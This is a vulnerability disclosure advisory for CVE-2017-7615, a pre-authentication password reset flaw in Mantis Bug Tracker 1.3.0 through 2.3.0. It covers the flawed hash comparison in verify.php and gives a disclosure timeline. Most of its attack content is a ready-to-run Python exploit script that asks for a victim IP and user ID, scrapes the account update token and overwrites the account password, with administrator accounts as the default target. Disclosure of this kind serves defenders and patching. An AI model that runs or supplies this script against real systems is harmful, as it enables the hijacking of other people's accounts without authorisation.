[+] Credits: John Page a.k.a hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
[+] ISR: ApparitionSec            
 


Vendor:
================
www.mantisbt.org



Product:
==================
Mantis Bug Tracker
v1.3.0 / 2.3.0

MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.


Vulnerability Type:
===============================
Pre-Auth Remote Password Reset



CVE Reference:
==============
CVE-2017-7615



Security Issue:
================
Mantis account verification page 'verify.php' allows resetting ANY user's password.
Remote un-authenticated attackers can send HTTP GET requests to Hijack ANY Mantis accounts by guessing the ID / username.

Vulnerable code:

In verify.php line 66:

if( $f_confirm_hash != $t_token_confirm_hash ) {
  
trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );

}

This code attempts to verify a user account and compares hashes for a user request.
However, by supplying empty value we easily bypass the security check.

e.g.

http://127.0.0.1/mantisbt-2.3.0/verify.php?id=1&confirm_hash=

This will then allow you to change passwords and hijack ANY mantisbt accounts.

All version >= 1.3.0 as well as 2.3.0 are affected, 1.2.x versions are not affected.


References:
============
https://mantisbt.org/bugs/view.php?id=22690#c56509



POC Video URL:
==============
https://vimeo.com/213144905



Exploit/POC:
=============
import cookielib,urllib,urllib2,time

print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0'
print '1.2.x versions are not affected'
print 'Remote Password Reset 0day Exploit'
print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n'

IP=raw_input("[Mantis Victim IP]>")
realname=raw_input("[Username]")
verify_user_id=raw_input("[User ID]")
passwd=raw_input("[New Password]")

TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash='

values={}
account_update_token=''
#verify_user_id='1'          #Admin  = 1
#realname='administrator'    #Must be known or guessed.


#REQUEST 1, get Mantis account_update_token 
cookies = cookielib.CookieJar()

opener = urllib2.build_opener(
    urllib2.HTTPRedirectHandler(),
    urllib2.HTTPHandler(debuglevel=0),
    urllib2.HTTPSHandler(debuglevel=0),
    urllib2.HTTPCookieProcessor(cookies))

res = opener.open(TARGET)

arr=res.readlines()
for s in arr:
        if 'account_update_token' in s:
                break


#print s[61:-38]
ACCT_TOKEN=s[61:-38]

time.sleep(0.3)

#REQUEST 2 Hijack the Admin Account
TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php'
values = {'verify_user_id' : '1',
        'account_update_token' : ACCT_TOKEN,
        'realname' : realname,
        'password' : passwd,
        'password_confirm' : passwd}
  
data = urllib.urlencode(values)

opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
urllib2.HTTPSHandler(debuglevel=0),
urllib2.HTTPCookieProcessor(cookies))

response = opener.open(TARGET, data)
the_page = response.read()
http_headers = response.info()

#print http_headers
print response.getcode()
print 'Account Hijacked!'
time.sleep(2)




Network Access:
===============
Remote




Severity:
=========
Critical



Disclosure Timeline:
=============================
Vendor Notification: April 7, 2017
Vendor acknowledged: April 7, 2017
Vendor patch created: April 10, 2017
Vendor Disclosure: April 16, 2017
April 16, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx